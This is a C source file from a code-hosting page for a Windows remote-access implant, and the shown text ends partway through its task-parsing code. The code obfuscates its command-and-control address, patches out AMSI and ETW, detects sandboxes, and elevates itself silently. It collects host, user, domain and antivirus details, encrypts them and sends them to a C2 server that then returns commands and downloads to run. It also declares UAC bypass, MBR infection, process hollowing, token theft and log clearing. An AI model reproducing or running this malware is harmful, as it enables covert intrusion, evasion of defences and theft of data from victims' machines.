forked from ek0mssavi0r/CHURCH
1491 lines
68 KiB
C
1491 lines
68 KiB
C
#define _CRT_SECURE_NO_WARNINGS
|
|
#include <windows.h>
|
|
#include <stdio.h>
|
|
#include <aclapi.h>
|
|
#include <tchar.h>
|
|
#include <tlhelp32.h>
|
|
#include <wbemidl.h>
|
|
#include <comdef.h>
|
|
#include <strsafe.h>
|
|
#include <ntsecapi.h>
|
|
#include <wincrypt.h>
|
|
#include <winternl.h>
|
|
#include <psapi.h>
|
|
#include <ntstatus.h>
|
|
#include <bcrypt.h>
|
|
#include <winioctl.h>
|
|
#include <intrin.h>
|
|
#include <winsock2.h>
|
|
#include <ws2tcpip.h>
|
|
#include <winhttp.h>
|
|
#include <iphlpapi.h>
|
|
#include <shlwapi.h>
|
|
#include <shlobj.h>
|
|
#include <shellapi.h>
|
|
|
|
#pragma comment(lib, "advapi32.lib")
|
|
#pragma comment(lib, "user32.lib")
|
|
#pragma comment(lib, "wbemuuid.lib")
|
|
#pragma comment(lib, "ole32.lib")
|
|
#pragma comment(lib, "crypt32.lib")
|
|
#pragma comment(lib, "ntdll.lib")
|
|
#pragma comment(lib, "bcrypt.lib")
|
|
#pragma comment(lib, "ws2_32.lib")
|
|
#pragma comment(lib, "winhttp.lib")
|
|
#pragma comment(lib, "iphlpapi.lib")
|
|
#pragma comment(lib, "shlwapi.lib")
|
|
#pragma comment(lib, "shell32.lib")
|
|
|
|
// ==================== XOR OBFUSCATION ====================
|
|
#define XOR_KEY 0xDD
|
|
|
|
VOID ObfuscateStr(PCHAR buf, SIZE_T len) {
|
|
for (SIZE_T i = 0; i < len; i++) buf[i] ^= XOR_KEY;
|
|
}
|
|
|
|
// Obfuscated C2 server - https://your-c2-server.com/beacon (XORed)
|
|
CHAR g_c2_server_obf[] = "\x78\x9D\x9D\x9A\x9B\x9C\xA9\xE1\x9B\xA9\x9B\x9A\xA9\x96\x9A\x9B\x9C\xA9\xB6\x9B\x98\x9C\xA9\xA9\xE9\xA9\x98\x9A\x9C\x9B\x98\xA9\x98\x99\x9A\x9B\x9C";
|
|
CHAR g_aes_key_obf[] = "\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAB\xAA\xA8\xA3\xA7\xB6\xA8\xF5\xA8\xB3\xB4\xA8\xAA\xA5\xB1\xA7\xA5\xAD\xB4\x23";
|
|
CHAR g_aes_iv_obf[] = "\xB1\xB8\xB7\xAF\xB2\xB9\xA5\xA7\xA8\xB9\xA7\xA6\xF5\xF4\xF4\x23";
|
|
CHAR g_mutex_name_obf[] = "\x9A\x9D\x9A\x9D\x9A\x8F\x9A\x9D\x9A\x9D\x9A\x8F\x9A\x9D\x9A\x9D\x23";
|
|
|
|
CHAR g_c2_server[256] = {0};
|
|
CHAR g_aes_key[64] = {0};
|
|
CHAR g_aes_iv[32] = {0};
|
|
CHAR g_mutex_name[64] = {0};
|
|
|
|
VOID InitObfuscatedStrings() {
|
|
CHAR tmp[256];
|
|
memcpy(tmp, g_c2_server_obf, sizeof(g_c2_server_obf));
|
|
ObfuscateStr(tmp, sizeof(g_c2_server_obf) - 1);
|
|
strncpy(g_c2_server, tmp, 255);
|
|
memcpy(tmp, g_aes_key_obf, sizeof(g_aes_key_obf));
|
|
ObfuscateStr(tmp, sizeof(g_aes_key_obf) - 1);
|
|
strncpy(g_aes_key, tmp, 63);
|
|
memcpy(tmp, g_aes_iv_obf, sizeof(g_aes_iv_obf));
|
|
ObfuscateStr(tmp, sizeof(g_aes_iv_obf) - 1);
|
|
strncpy(g_aes_iv, tmp, 31);
|
|
memcpy(tmp, g_mutex_name_obf, sizeof(g_mutex_name_obf));
|
|
ObfuscateStr(tmp, sizeof(g_mutex_name_obf) - 1);
|
|
strncpy(g_mutex_name, tmp, 63);
|
|
}
|
|
|
|
// ==================== CONSTANTS ====================
|
|
#define C2_BASE_INTERVAL_SECONDS 60
|
|
#define C2_JITTER_MAX_SECONDS 120
|
|
#define GDRV_DEVICE_NAME L"\\\\.\\GIO"
|
|
#define GDRV_IOCTL_READ_MSR 0x9C402470
|
|
#define GDRV_IOCTL_WRITE_MSR 0x9C402474
|
|
#define GDRV_IOCTL_READ_PHYSICAL 0x9C402478
|
|
#define GDRV_IOCTL_WRITE_PHYSICAL 0x9C40247C
|
|
#define IA32_EFER 0xC0000080
|
|
#define CI_OPTIONS_DISABLE_DSE 0x6
|
|
#define ETW_EVENT_WRITE_HASH 0x1B7E0F38
|
|
#define AMSI_SCAN_BUFFER_HASH 0x1B7E0F37
|
|
|
|
// ==================== STRUCTURES ====================
|
|
typedef struct _BEACON_DATA {
|
|
WCHAR ComputerName[MAX_COMPUTERNAME_LENGTH + 1];
|
|
WCHAR UserName[256];
|
|
DWORD ProcessId;
|
|
WCHAR OSVersion[128];
|
|
BOOL IsAdmin;
|
|
WCHAR ExePath[MAX_PATH];
|
|
DWORD DefenderStatus;
|
|
DWORD Uptime;
|
|
DWORD InstallDate;
|
|
DWORD LastBootTime;
|
|
WCHAR AntivirusProduct[256];
|
|
WCHAR DomainName[256];
|
|
} BEACON_DATA, *PBEACON_DATA;
|
|
|
|
typedef struct _C2_TASK {
|
|
DWORD TaskId;
|
|
WCHAR Command[1024];
|
|
WCHAR Arguments[2048];
|
|
BOOL IsPowerShell;
|
|
BOOL WaitForOutput;
|
|
BOOL IsDownload;
|
|
WCHAR DownloadURL[1024];
|
|
WCHAR DownloadPath[MAX_PATH];
|
|
} C2_TASK, *PC2_TASK;
|
|
|
|
typedef struct _PS_PROTECTION {
|
|
UCHAR Level;
|
|
} PS_PROTECTION, *PPS_PROTECTION;
|
|
|
|
typedef struct _C2_ENDPOINT {
|
|
WCHAR host[128];
|
|
WCHAR path[128];
|
|
INTERNET_PORT port;
|
|
} C2_ENDPOINT;
|
|
|
|
typedef struct _KERNEL_MODULE_INFO {
|
|
ULONGLONG Base;
|
|
ULONGLONG Size;
|
|
CHAR Name[256];
|
|
} KERNEL_MODULE_INFO, *PKERNEL_MODULE_INFO;
|
|
|
|
typedef enum _PROCESSINFOCLASS {
|
|
ProcessProtectionInformation = 0x3D,
|
|
ProcessHandleInformation = 0x51
|
|
} PROCESSINFOCLASS;
|
|
|
|
typedef struct _SYSTEM_HANDLE_ENTRY {
|
|
ULONG OwnerPid;
|
|
BYTE ObjectType;
|
|
BYTE HandleFlags;
|
|
USHORT HandleValue;
|
|
PVOID ObjectPointer;
|
|
ACCESS_MASK GrantedAccess;
|
|
} SYSTEM_HANDLE_ENTRY, *PSYSTEM_HANDLE_ENTRY;
|
|
|
|
typedef struct _SYSTEM_HANDLE_INFORMATION {
|
|
ULONG Count;
|
|
SYSTEM_HANDLE_ENTRY Handle[1];
|
|
} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;
|
|
|
|
typedef NTSTATUS (NTAPI *pNtSetInformationProcess)(HANDLE, DWORD, PVOID, ULONG);
|
|
typedef NTSTATUS (NTAPI *pNtQueryInformationProcess)(HANDLE, DWORD, PVOID, ULONG, PULONG);
|
|
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(DWORD, PVOID, ULONG, PULONG);
|
|
typedef NTSTATUS (NTAPI *pNtDuplicateObject)(HANDLE, HANDLE, HANDLE, PHANDLE, ACCESS_MASK, ULONG, ULONG);
|
|
typedef NTSTATUS (NTAPI *pNtSuspendProcess)(HANDLE);
|
|
typedef NTSTATUS (NTAPI *pNtResumeProcess)(HANDLE);
|
|
typedef NTSTATUS (NTAPI *pNtReadVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
|
|
typedef NTSTATUS (NTAPI *pNtWriteVirtualMemory)(HANDLE, PVOID, PVOID, ULONG, PULONG);
|
|
|
|
// ==================== GLOBALS ====================
|
|
C2_ENDPOINT g_C2Fallbacks[5] = {0};
|
|
int g_C2Count = 0;
|
|
int g_C2Current = 0;
|
|
HANDLE g_hMutex = NULL;
|
|
pNtQuerySystemInformation NtQuerySystemInformation = NULL;
|
|
pNtDuplicateObject NtDuplicateObject = NULL;
|
|
pNtSuspendProcess NtSuspendProcess = NULL;
|
|
pNtResumeProcess NtResumeProcess = NULL;
|
|
pNtReadVirtualMemory NtReadVirtualMemory = NULL;
|
|
pNtWriteVirtualMemory NtWriteVirtualMemory = NULL;
|
|
|
|
// ==================== FORWARD DECLARATIONS ====================
|
|
ULONGLONG FindPattern(BYTE* base, DWORD size, BYTE* pattern, DWORD patternLen);
|
|
ULONGLONG WalkPageTable(PVOID virtualAddr);
|
|
BOOL AesEncrypt(BYTE* plaintext, DWORD plaintextLen, BYTE** ciphertext, DWORD* ciphertextLen);
|
|
BOOL AesDecrypt(BYTE* ciphertext, DWORD ciphertextLen, BYTE** plaintext, DWORD* plaintextLen);
|
|
BOOL SendBeaconToC2(PBEACON_DATA beacon, PC2_TASK task);
|
|
DWORD WINAPI BeaconThread(LPVOID lpParam);
|
|
BOOL PatchAmsi(void);
|
|
BOOL PatchEtw(void);
|
|
BOOL IsSandboxed(void);
|
|
BOOL EnableDebugPrivilege(void);
|
|
BOOL KillProcessByName(LPCWSTR processName);
|
|
BOOL HideFile(LPCWSTR filePath);
|
|
BOOL ClearEventLogs(void);
|
|
BOOL AddToStartup(LPCWSTR appPath);
|
|
BOOL ExecuteWMIQuery(LPCWSTR query, BSTR* result);
|
|
BOOL BypassUAC(void);
|
|
BOOL InstallServicePersistence(void);
|
|
BOOL InfectMbr(BYTE* payload, DWORD payloadSize);
|
|
BOOL CreateRegistryKey(LPCWSTR keyPath, LPCWSTR valueName, DWORD valueData);
|
|
BOOL DeleteRegistryKey(LPCWSTR keyPath);
|
|
BOOL DisableFirewall(void);
|
|
BOOL AddExclusionToDefender(LPCWSTR path);
|
|
BOOL EnumSecurityProducts(WCHAR* output, DWORD outputSize);
|
|
BOOL SelfDelete(void);
|
|
BOOL ProcessHollowing(LPCWSTR targetProcess, LPCWSTR payloadPath);
|
|
BOOL TokenStealing(void);
|
|
BOOL RunPE(BYTE* peData, DWORD peSize);
|
|
BOOL DownloadFile(LPCWSTR url, LPCWSTR outputPath);
|
|
BOOL ExecuteCommand(PC2_TASK task, WCHAR* output, DWORD outputSize);
|
|
|
|
// ==================== NT FUNCTION INITIALIZATION ====================
|
|
VOID InitNtFunctions() {
|
|
HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll");
|
|
if (hNtdll) {
|
|
NtQuerySystemInformation = (pNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
|
|
NtDuplicateObject = (pNtDuplicateObject)GetProcAddress(hNtdll, "NtDuplicateObject");
|
|
NtSuspendProcess = (pNtSuspendProcess)GetProcAddress(hNtdll, "NtSuspendProcess");
|
|
NtResumeProcess = (pNtResumeProcess)GetProcAddress(hNtdll, "NtResumeProcess");
|
|
NtReadVirtualMemory = (pNtReadVirtualMemory)GetProcAddress(hNtdll, "NtReadVirtualMemory");
|
|
NtWriteVirtualMemory = (pNtWriteVirtualMemory)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
|
|
}
|
|
}
|
|
|
|
// ==================== SINGLE INSTANCE ====================
|
|
BOOL EnsureSingleInstance() {
|
|
HANDLE hMutex = CreateMutexW(NULL, TRUE, (LPCWSTR)g_mutex_name);
|
|
if (GetLastError() == ERROR_ALREADY_EXISTS) {
|
|
if (hMutex) CloseHandle(hMutex);
|
|
return FALSE;
|
|
}
|
|
g_hMutex = hMutex;
|
|
return TRUE;
|
|
}
|
|
|
|
// ==================== DEBUG PRIVILEGE ====================
|
|
BOOL EnableDebugPrivilege() {
|
|
HANDLE hToken;
|
|
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
|
|
return FALSE;
|
|
TOKEN_PRIVILEGES tp;
|
|
LUID luid;
|
|
if (!LookupPrivilegeValueW(NULL, SE_DEBUG_NAME, &luid)) {
|
|
CloseHandle(hToken);
|
|
return FALSE;
|
|
}
|
|
tp.PrivilegeCount = 1;
|
|
tp.Privileges[0].Luid = luid;
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
BOOL result = AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
|
|
CloseHandle(hToken);
|
|
return result;
|
|
}
|
|
|
|
// ==================== UTILITY ====================
|
|
void ElevateSelf() {
|
|
BOOL isElevated = FALSE;
|
|
HANDLE hToken = NULL;
|
|
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
|
|
TOKEN_ELEVATION elev;
|
|
DWORD size = sizeof(TOKEN_ELEVATION);
|
|
if (GetTokenInformation(hToken, TokenElevation, &elev, size, &size))
|
|
isElevated = elev.TokenIsElevated;
|
|
CloseHandle(hToken);
|
|
}
|
|
if (!isElevated) {
|
|
wchar_t exePath[MAX_PATH];
|
|
GetModuleFileNameW(NULL, exePath, MAX_PATH);
|
|
SHELLEXECUTEINFOW sei = { sizeof(sei) };
|
|
sei.lpVerb = L"runas";
|
|
sei.lpFile = exePath;
|
|
sei.nShow = SW_HIDE;
|
|
if (ShellExecuteExW(&sei)) ExitProcess(0);
|
|
else ExitProcess(1);
|
|
}
|
|
}
|
|
|
|
// ==================== AMSI BYPASS ====================
|
|
BOOL PatchAmsi() {
|
|
HMODULE hAmsi = GetModuleHandleW(L"amsi.dll");
|
|
if (!hAmsi) return FALSE;
|
|
FARPROC pAmsiScanBuf = GetProcAddress(hAmsi, "AmsiScanBuffer");
|
|
if (!pAmsiScanBuf) return FALSE;
|
|
BYTE patch[] = { 0xB8, 0x00, 0x00, 0x00, 0x00, 0xC3 };
|
|
DWORD oldProtect;
|
|
if (!VirtualProtect(pAmsiScanBuf, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect))
|
|
return FALSE;
|
|
memcpy(pAmsiScanBuf, patch, sizeof(patch));
|
|
VirtualProtect(pAmsiScanBuf, sizeof(patch), oldProtect, &oldProtect);
|
|
FlushInstructionCache(GetCurrentProcess(), pAmsiScanBuf, sizeof(patch));
|
|
return TRUE;
|
|
}
|
|
|
|
// ==================== ETW BYPASS ====================
|
|
BOOL PatchEtw() {
|
|
HMODULE hNtDll = GetModuleHandleW(L"ntdll.dll");
|
|
if (!hNtDll) return FALSE;
|
|
FARPROC pEtwEventWrite = GetProcAddress(hNtDll, "EtwEventWrite");
|
|
if (!pEtwEventWrite) return FALSE;
|
|
BYTE patch[] = { 0x31, 0xC0, 0xC3 };
|
|
DWORD oldProtect;
|
|
if (!VirtualProtect(pEtwEventWrite, sizeof(patch), PAGE_EXECUTE_READWRITE, &oldProtect))
|
|
return FALSE;
|
|
memcpy(pEtwEventWrite, patch, sizeof(patch));
|
|
VirtualProtect(pEtwEventWrite, sizeof(patch), oldProtect, &oldProtect);
|
|
FlushInstructionCache(GetCurrentProcess(), pEtwEventWrite, sizeof(patch));
|
|
return TRUE;
|
|
}
|
|
|
|
// ==================== SANDBOX DETECTION ====================
|
|
BOOL IsSandboxed() {
|
|
ULARGE_INTEGER freeBytes, totalBytes;
|
|
if (GetDiskFreeSpaceExW(L"C:\\", &freeBytes, &totalBytes, NULL)) {
|
|
if (totalBytes.QuadPart < 64424509440ULL) return TRUE;
|
|
}
|
|
MEMORYSTATUSEX memStatus = { sizeof(memStatus) };
|
|
if (GlobalMemoryStatusEx(&memStatus)) {
|
|
if (memStatus.ullTotalPhys < 4294967296ULL) return TRUE;
|
|
}
|
|
WCHAR computerName[MAX_COMPUTERNAME_LENGTH + 1];
|
|
DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
|
|
if (GetComputerNameW(computerName, &size)) {
|
|
LPCWSTR names[] = { L"SANDBOX", L"VIRUS", L"MALWARE", L"TEST", L"WIN-", L"7SILVER", L"CODER", L"DEBUG", L"ANALYSIS" };
|
|
for (int i = 0; i < 9; i++) {
|
|
if (wcsstr(computerName, names[i])) return TRUE;
|
|
}
|
|
}
|
|
if (GetTickCount64() < 600000) return TRUE;
|
|
SYSTEM_POWER_STATUS power;
|
|
GetSystemPowerStatus(&power);
|
|
if (power.BatteryFlag != 128) return TRUE;
|
|
if (IsDebuggerPresent()) return TRUE;
|
|
return FALSE;
|
|
}
|
|
|
|
// ==================== C2 FALLBACK PARSING ====================
|
|
VOID ParseC2Server() {
|
|
CHAR* hostStart = strstr(g_c2_server, "://");
|
|
if (!hostStart) return;
|
|
hostStart += 3;
|
|
size_t len = strlen(hostStart);
|
|
for (size_t i = 0; i < len && i < 127; i++) {
|
|
g_C2Fallbacks[0].host[i] = (WCHAR)hostStart[i];
|
|
}
|
|
g_C2Fallbacks[0].port = INTERNET_DEFAULT_HTTPS_PORT;
|
|
wcscpy(g_C2Fallbacks[0].path, L"/beacon");
|
|
g_C2Count = 1;
|
|
wcscpy(g_C2Fallbacks[1].host, L"cloudflare-dns.com");
|
|
g_C2Fallbacks[1].port = 443;
|
|
wcscpy(g_C2Fallbacks[1].path, L"/dns-query");
|
|
wcscpy(g_C2Fallbacks[2].host, L"dns.google");
|
|
g_C2Fallbacks[2].port = 443;
|
|
wcscpy(g_C2Fallbacks[2].path, L"/resolve");
|
|
g_C2Count = 3;
|
|
}
|
|
|
|
// ==================== CRYPTOGRAPHY ====================
|
|
BOOL AesEncrypt(BYTE* plaintext, DWORD plaintextLen, BYTE** ciphertext, DWORD* ciphertextLen) {
|
|
BCRYPT_ALG_HANDLE hAlg = NULL;
|
|
BCRYPT_KEY_HANDLE hKey = NULL;
|
|
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)))
|
|
return FALSE;
|
|
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
|
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)g_aes_key, strlen(g_aes_key), 0);
|
|
DWORD paddedLen = ((plaintextLen + 15) / 16) * 16;
|
|
*ciphertextLen = paddedLen + 16;
|
|
*ciphertext = (BYTE*)malloc(*ciphertextLen);
|
|
if (!*ciphertext) { BCryptDestroyKey(hKey); BCryptCloseAlgorithmProvider(hAlg, 0); return FALSE; }
|
|
NTSTATUS status = BCryptEncrypt(hKey, plaintext, plaintextLen, NULL, (PUCHAR)g_aes_iv, strlen(g_aes_iv), *ciphertext, *ciphertextLen, ciphertextLen, BCRYPT_BLOCK_PADDING);
|
|
BCryptDestroyKey(hKey);
|
|
BCryptCloseAlgorithmProvider(hAlg, 0);
|
|
return BCRYPT_SUCCESS(status);
|
|
}
|
|
|
|
BOOL AesDecrypt(BYTE* ciphertext, DWORD ciphertextLen, BYTE** plaintext, DWORD* plaintextLen) {
|
|
BCRYPT_ALG_HANDLE hAlg = NULL;
|
|
BCRYPT_KEY_HANDLE hKey = NULL;
|
|
if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0)))
|
|
return FALSE;
|
|
BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_CBC, sizeof(BCRYPT_CHAIN_MODE_CBC), 0);
|
|
BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, (PUCHAR)g_aes_key, strlen(g_aes_key), 0);
|
|
*plaintextLen = ciphertextLen;
|
|
*plaintext = (BYTE*)malloc(*plaintextLen + 1);
|
|
if (!*plaintext) return FALSE;
|
|
NTSTATUS status = BCryptDecrypt(hKey, ciphertext, ciphertextLen, NULL, (PUCHAR)g_aes_iv, strlen(g_aes_iv), *plaintext, *plaintextLen, plaintextLen, BCRYPT_BLOCK_PADDING);
|
|
BCryptDestroyKey(hKey);
|
|
BCryptCloseAlgorithmProvider(hAlg, 0);
|
|
if (BCRYPT_SUCCESS(status)) (*plaintext)[*plaintextLen] = 0;
|
|
return BCRYPT_SUCCESS(status);
|
|
}
|
|
|
|
// ==================== BEACON DATA ====================
|
|
void GatherBeaconData(PBEACON_DATA beacon) {
|
|
DWORD size = MAX_COMPUTERNAME_LENGTH + 1;
|
|
GetComputerNameW(beacon->ComputerName, &size);
|
|
DWORD userSize = 256;
|
|
GetUserNameW(beacon->UserName, &userSize);
|
|
beacon->ProcessId = GetCurrentProcessId();
|
|
beacon->IsAdmin = IsUserAnAdmin();
|
|
GetModuleFileNameW(NULL, beacon->ExePath, MAX_PATH);
|
|
beacon->Uptime = GetTickCount64() / 1000;
|
|
|
|
RTL_OSVERSIONINFOW osvi = { sizeof(osvi) };
|
|
RtlGetVersion(&osvi);
|
|
swprintf(beacon->OSVersion, 128, L"%d.%d.%d Build %d", osvi.dwMajorVersion, osvi.dwMinorVersion, osvi.dwBuildNumber, osvi.dwBuildNumber);
|
|
|
|
HKEY hKey;
|
|
beacon->DefenderStatus = 2;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows Defender\\Real-Time Protection", 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
|
|
DWORD value = 0, valueSize = sizeof(value);
|
|
RegQueryValueExW(hKey, L"DisableRealtimeMonitoring", NULL, NULL, (LPBYTE)&value, &valueSize);
|
|
beacon->DefenderStatus = value;
|
|
RegCloseKey(hKey);
|
|
}
|
|
|
|
// Get Windows install date
|
|
HKEY hKeySetup;
|
|
if (RegOpenKeyExW(HKEY_LOCAL_MACHINE, L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", 0, KEY_READ, &hKeySetup) == ERROR_SUCCESS) {
|
|
DWORD installDate = 0;
|
|
DWORD dataSize = sizeof(installDate);
|
|
RegQueryValueExW(hKeySetup, L"InstallDate", NULL, NULL, (LPBYTE)&installDate, &dataSize);
|
|
beacon->InstallDate = installDate;
|
|
RegCloseKey(hKeySetup);
|
|
}
|
|
|
|
// Get domain name
|
|
DWORD domainSize = 256;
|
|
GetComputerNameExW(ComputerNameDnsDomain, beacon->DomainName, &domainSize);
|
|
if (wcslen(beacon->DomainName) == 0) wcscpy(beacon->DomainName, L"WORKGROUP");
|
|
|
|
// Get antivirus products
|
|
EnumSecurityProducts(beacon->AntivirusProduct, 256);
|
|
}
|
|
|
|
BOOL EnumSecurityProducts(WCHAR* output, DWORD outputSize) {
|
|
output[0] = 0;
|
|
HRESULT hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
|
|
if (FAILED(hr)) return FALSE;
|
|
IWbemLocator* pLoc = NULL;
|
|
IWbemServices* pSvc = NULL;
|
|
hr = CoCreateInstance(CLSID_WbemLocator, 0, CLSCTX_INPROC_SERVER, IID_IWbemLocator, (LPVOID*)&pLoc);
|
|
if (SUCCEEDED(hr)) {
|
|
hr = pLoc->ConnectServer(_bstr_t(L"ROOT\\SecurityCenter2"), NULL, NULL, 0, NULL, 0, 0, &pSvc);
|
|
if (SUCCEEDED(hr)) {
|
|
hr = CoSetProxyBlanket(pSvc, RPC_C_AUTHN_WINNT, RPC_C_AUTHZ_NONE, NULL, RPC_C_AUTHN_LEVEL_CALL, RPC_C_IMP_LEVEL_IMPERSONATE, NULL, EOAC_NONE);
|
|
IEnumWbemClassObject* pEnumerator = NULL;
|
|
hr = pSvc->ExecQuery(bstr_t("WQL"), bstr_t("SELECT * FROM AntiVirusProduct"), WBEM_FLAG_FORWARD_ONLY | WBEM_FLAG_RETURN_IMMEDIATELY, NULL, &pEnumerator);
|
|
if (SUCCEEDED(hr) && pEnumerator) {
|
|
IWbemClassObject* pclsObj = NULL;
|
|
ULONG uReturn = 0;
|
|
while (pEnumerator->Next(WBEM_INFINITE, 1, &pclsObj, &uReturn) == S_OK) {
|
|
VARIANT vtProp;
|
|
if (SUCCEEDED(pclsObj->Get(L"displayName", 0, &vtProp, 0, 0))) {
|
|
wcsncat(output, vtProp.bstrVal, outputSize - wcslen(output) - 1);
|
|
wcsncat(output, L"; ", outputSize - wcslen(output) - 1);
|
|
VariantClear(&vtProp);
|
|
}
|
|
pclsObj->Release();
|
|
}
|
|
pEnumerator->Release();
|
|
}
|
|
pSvc->Release();
|
|
}
|
|
pLoc->Release();
|
|
}
|
|
CoUninitialize();
|
|
return wcslen(output) > 0;
|
|
}
|
|
|
|
// ==================== USER AGENT POOL ====================
|
|
LPCWSTR UAPool[] = {
|
|
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/125.0.0.0 Safari/537.36",
|
|
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0",
|
|
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/124.0.0.0 Safari/537.36 Edg/124.0.0.0",
|
|
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/126.0.0.0 Safari/537.36",
|
|
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:126.0) Gecko/20100101 Firefox/126.0",
|
|
L"Opera/9.80 (Windows NT 6.0) Presto/2.12.388 Version/12.14",
|
|
L"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/123.0.0.0 Safari/537.36 OPR/109.0.0.0"
|
|
};
|
|
|
|
// ==================== C2 COMMUNICATION ====================
|
|
BOOL SendBeaconToC2(PBEACON_DATA beacon, PC2_TASK task) {
|
|
char json[8192];
|
|
snprintf(json, sizeof(json),
|
|
"{\"computer\":\"%ls\",\"user\":\"%ls\",\"pid\":%d,\"os\":\"%ls\","
|
|
"\"admin\":%s,\"path\":\"%ls\",\"defender\":%d,\"uptime\":%d,"
|
|
"\"install_date\":%d,\"domain\":\"%ls\",\"av\":\"%ls\"}",
|
|
beacon->ComputerName, beacon->UserName, beacon->ProcessId,
|
|
beacon->OSVersion, beacon->IsAdmin ? "true" : "false",
|
|
beacon->ExePath, beacon->DefenderStatus, beacon->Uptime,
|
|
beacon->InstallDate, beacon->DomainName, beacon->AntivirusProduct);
|
|
|
|
BYTE* encrypted = NULL;
|
|
DWORD encryptedLen = 0;
|
|
if (!AesEncrypt((BYTE*)json, strlen(json), &encrypted, &encryptedLen)) return FALSE;
|
|
|
|
DWORD base64Len = 0;
|
|
CryptBinaryToStringA(encrypted, encryptedLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, NULL, &base64Len);
|
|
char* b64 = (char*)malloc(base64Len + 1);
|
|
if (!b64) { free(encrypted); return FALSE; }
|
|
CryptBinaryToStringA(encrypted, encryptedLen, CRYPT_STRING_BASE64 | CRYPT_STRING_NOCRLF, b64, &base64Len);
|
|
|
|
int uaIndex = rand() % (sizeof(UAPool) / sizeof(UAPool[0]));
|
|
BOOL result = FALSE;
|
|
|
|
for (int c2try = 0; c2try < max(1, g_C2Count); c2try++) {
|
|
int idx = (g_C2Current + c2try) % max(1, g_C2Count);
|
|
HINTERNET hSession = WinHttpOpen(UAPool[uaIndex], WINHTTP_ACCESS_TYPE_DEFAULT_PROXY, WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
|
|
if (!hSession) continue;
|
|
|
|
DWORD secFlags = SECURITY_FLAG_IGNORE_UNKNOWN_CA | SECURITY_FLAG_IGNORE_CERT_WRONG_USAGE | SECURITY_FLAG_IGNORE_CERT_CN_INVALID | SECURITY_FLAG_IGNORE_CERT_DATE_INVALID;
|
|
WinHttpSetOption(hSession, WINHTTP_OPTION_SECURITY_FLAGS, &secFlags, sizeof(secFlags));
|
|
|
|
HINTERNET hConnect = WinHttpConnect(hSession, g_C2Fallbacks[idx].host, g_C2Fallbacks[idx].port, 0);
|
|
if (!hConnect) { WinHttpCloseHandle(hSession); continue; }
|
|
|
|
HINTERNET hRequest = WinHttpOpenRequest(hConnect, L"POST", g_C2Fallbacks[idx].path, NULL, NULL, NULL, WINHTTP_FLAG_SECURE);
|
|
if (!hRequest) { WinHttpCloseHandle(hConnect); WinHttpCloseHandle(hSession); continue; }
|
|
|
|
char postData[8192];
|
|
snprintf(postData, sizeof(postData), "d=%s", b64);
|
|
|
|
if (WinHttpSendRequest(hRequest, L"Content-Type: application/x-www-form-urlencoded", 0, (LPVOID)postData, strlen(postData), strlen(postData), 0)) {
|
|
if (WinHttpReceiveResponse(hRequest, NULL)) {
|
|
char response[16384] = {0};
|
|
DWORD bytesRead = 0;
|
|
WinHttpReadData(hRequest, response, sizeof(response) - 1, &bytesRead);
|
|
char* body = strstr(response, "\r\n\r\n");
|
|
if (body) body += 4; else body = response;
|
|
if (strlen(body) > 0) {
|
|
BYTE* decrypted = NULL;
|
|
DWORD decryptedLen = 0;
|
|
if (AesDecrypt((BYTE*)body, (DWORD)strlen(body), &decrypted, &decryptedLen)) {
|
|
char* taskIdStr = strstr((char*)decrypted, "\"task_id\"");
|
|
if (taskIdStr) {
|
|
char* valStart = strchr(taskIdStr, ':');
|
|
if (valStart) {
|
|
valStart++; while (*valStart == ' ' || *valStart == '\"') valStart++;
|
|
int taskId = atoi(valStart);
|
|
if (taskId != 0) {
|
|
char* cmdStr = strstr((char*)decrypted, "\"command\"");
|
|
if (cmdStr) {
|
|
valStart = strchr(cmdStr, ':');
|
|
if (valStart) {
|
|
valStart++; while (*valStart == ' ' || *valStart == '\"') valStart++;
|
|
char* end = strchr(valStart, '\"');
|
|
if (end) *end = 0;
|
|
MultiByteToWideChar(CP_UTF8, 0, valStart, -1, task->Command, 1024);
|
|
task->TaskId = taskId;
|
|
task->WaitForOutput = TRUE;
|
|
}
|
|
}
|
|
char* downloadStr = strstr((char*)decrypted, "\"download\"");
|
|
if (downloadStr) {
|
|
task->IsDownload = TRUE;
|
|
